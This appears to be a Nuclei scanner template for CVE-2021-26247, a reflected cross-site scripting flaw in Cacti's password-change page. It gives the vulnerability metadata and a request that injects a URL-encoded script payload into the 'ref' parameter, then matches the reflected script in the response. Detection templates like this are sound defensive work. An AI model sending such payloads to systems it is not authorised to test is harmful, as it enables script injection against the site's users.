id: CVE-2021-26247

info:
  name: Cacti - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: Cacti contains a cross-site scripting vulnerability via "http://<CACTI_SERVER>/auth_changepassword.php?ref=<script>alert(1)</script>" which can successfully execute the JavaScript payload present in the "ref" URL parameter.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Cacti to mitigate this vulnerability.
  reference:
    - https://www.cacti.net/info/changelog
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26247
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26247
    cwe-id: CWE-79
    epss-score: 0.00255
    epss-percentile: 0.63203
    cpe: cpe:2.3:a:cacti:cacti:0.8.7g:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cacti
    product: cacti
  tags: cve,cve2021,cacti,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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